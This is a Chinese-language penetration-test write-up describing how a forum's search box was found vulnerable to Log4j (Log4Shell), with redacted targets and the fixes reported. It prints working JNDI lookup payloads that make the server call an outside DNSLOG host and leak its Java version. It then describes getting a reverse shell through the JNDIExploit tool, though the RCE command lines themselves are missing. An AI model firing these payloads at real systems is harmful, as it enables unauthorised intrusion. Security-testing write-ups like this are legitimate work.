在去年log4j漏洞刚爆发的时候，很多平台都存在漏洞，当时也在第一时间在有授权的情况下对某论坛进行了渗透测试，结果发现存在漏洞，报告之后，漏洞也被很快修复。

本次对该渗透过程进行一个简单的记录，整个过程非常的简单，因为漏洞刚出来，也没有什么waf，所以很快就拿下了。

以下过程已进行脱敏，漏洞均已修复。

1. Dnslog漏洞探测

云端攻击机kali ： 1x.xxx.xx2.9
目标机：http://xxx.cn/
中转文件：JNDIExploit-1.2-SNAPSHOT.jar

1.1 payload描述

在log4j漏洞中，一般构造诸如：${jndi:ldap://6bbs.dnslog.cn/test}之类的漏洞。

但是在很多时候，因为有//的存在，可能会触发系统自动将其作为url链接访问，导致误判，因此在这里可以使用新的payload进行测试：

${jndi:ldap://${sys:java.version}.335h25.dnslog.cn}

在这里可以显示版本信息，如果能够显示，则证明一定存在漏洞。

1.2 测试

去dnslog平台申请一个域名：

gx.dnslog.cn

直接构造：

${jndi:ldap://${sys:java.version}.gx.dnslog.cn}

然后在论坛的搜索框执行：

此时DNSLOG平台有数据，证明存在漏洞：

既然存在漏洞，那就试试能否拿下RCE。

2. log4j RCE

云端攻击机kali ： 1×3.xxx.xx2.9
目标机：http://xxx.com/
中转文件：JNDIExploit-1.2-SNAPSHOT.jar

2.1 准备工作

直接在攻击机上开启JNDIExploit-1.2-SNAPSHOT.jar
命令如下：

通过漏洞探寻得知测试派的搜索框存在log4j漏洞，直接在这里构造exp即可：

其中，去请求攻击机的的1389端口，并且将shell反弹给攻击机的7777端口。

在攻击机上另启一个命令行，监听7777端口：

2.2 攻击测试

直接在输入框里面输入上面构造好的exp：

直接回车，shell就弹回来了：